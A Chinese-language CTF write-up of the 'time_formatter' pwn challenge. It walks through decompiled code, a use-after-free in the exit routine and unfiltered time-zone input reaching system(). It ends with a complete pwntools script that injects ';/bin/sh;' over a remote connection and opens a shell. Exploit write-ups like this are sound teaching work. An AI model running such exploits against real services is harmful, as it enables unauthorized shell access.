看一眼程序主逻辑
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__gid_t v3; // eax
FILE *v4; // rdi
__int64 v5; // rdx
int v6; // eax
__int64 result; // rax
v3 = getegid();
setresgid(v3, v3, v3);
setbuf(stdout, 0LL);
puts("Welcome to Mary's Unix Time Formatter!");
while ( 1 )
{
puts("1) Set a time format.");
puts("2) Set a time.");
puts("3) Set a time zone.");
puts("4) Print your time.");
puts("5) Exit.");
__printf_chk(1LL, (__int64)"> ");
v4 = stdout;
fflush(stdout);
switch ( sub_400D26() )
{
case 1:
v6 = set_time_format();
goto LABEL_8;
case 2:
v6 = set_time();
goto LABEL_8;
case 3:
v6 = set_time_zone();
goto LABEL_8;
case 4:
v6 = print_your_time((__int64)v4, (__int64)"> ", v5);
LABEL_8:
if ( !v6 )
continue;
return 0LL;
case 5:
exit();
return result;
default:
continue;
}
}
}
在print_your_time找到有关system函数
v6 = __readfsqword(0x28u);
if ( ptr ) // ptr必须要求有值
{
__snprintf_chk(&command, 2048LL, 1LL, 2048LL, "/bin/date -d @%d +'%s'", (unsigned int)time, ptr, a3);
__printf_chk(1LL, (__int64)"Your formatted time is: ");
fflush(stdout);
if ( getenv("DEBUG") )
__fprintf_chk(stderr, 1LL, (__int64)"Running command: %s\n", (__int64)&command, v3);
setenv("TZ", value, 1);
system(&command);
}
else
{
puts("You haven't specified a format!");
}
return 0LL;
执行如下命令就可拿到权限
即控制好参数ptr即可拿到权限,参数ptr是由我们选择set_time_format输入的。
v7 = a4;
v4 = strdup(a1);
if ( !v4 )
err(1, "strdup", v7);
v5 = (__int64)v4;
if ( getenv("DEBUG") )
__fprintf_chk(stderr, 1LL, (__int64)"strdup(%p) = %p\n", (__int64)a1, v5);
return (char *)v5;
且输入的字符通过strdup函数将其放入堆中
strdup:strdup()会先用maolloc()配置与参数s 字符串相同的空间大小,然后将参数s 字符串的内容复制到该内存地址,然后把该地址返回。该地址最后可以利用free()来释放。
char accept; // [rsp+5h] [rbp-43h]
unsigned __int64 v3; // [rsp+38h] [rbp-10h]
strcpy(&accept, "%aAbBcCdDeFgGhHIjklmNnNpPrRsStTuUVwWxXyYzZ:-_/0^# ");
v3 = __readfsqword(0x28u);
return strspn(input, &accept) == strlen(input);
但是输入时,对我们的字符串进行了限制,无法输入单引号和分号。
但是我们在exit函数处发现了漏洞,在free我们输入的format之后询问是否退出,当我们选择否时,便可以不退出继续进行操作
v2 = __readfsqword(0x28u);
free_0(ptr); // free ptr
free_0(value);
__printf_chk(1LL, (__int64)"Are you sure you want to exit (y/N)? ");
fflush(stdout);
fgets(&s, 16, stdin);
result = 0LL;
if ( (s & 0xDF) == 0x59 )
{
puts("OK, exiting.");
result = 1LL;
}
return result;
我们在函数set_time_zone函数处发现了同样的strdup函数,但是set_time_zone没有对其输入进行检查。
利用思路:
1.设置ptr
2.free ptr,
3.利用et_time_zone再新建一个和ptr等同大小的堆
4.向堆中写入’;/bin/sh;’
根据UAF的特点,此时ptr的内存地址为’;/bin/sh;’
exp如下
from pwn import *
context.terminal=['deepin-terminal', '-x', 'sh' ,'-c']
context.log_level='debug'
p=remote('111.198.29.45','53300')
#p=process('./time_formatter')
p.recvuntil('> ')
p.sendline('1')
p.recvuntil('Format: ')
p.sendline('aaaaaaaaaaa')
p.recvuntil('> ')
p.sendline('5')
p.recvuntil('Are you sure you want to exit (y/N)? ')
p.sendline('N')
p.recvuntil('> ')
p.sendline('3')
p.recvuntil('Time zone: ')
p.sendline('\';/bin/sh;\'')
p.recvuntil('> ')
p.sendline('4')
p.recvline()
p.interactive()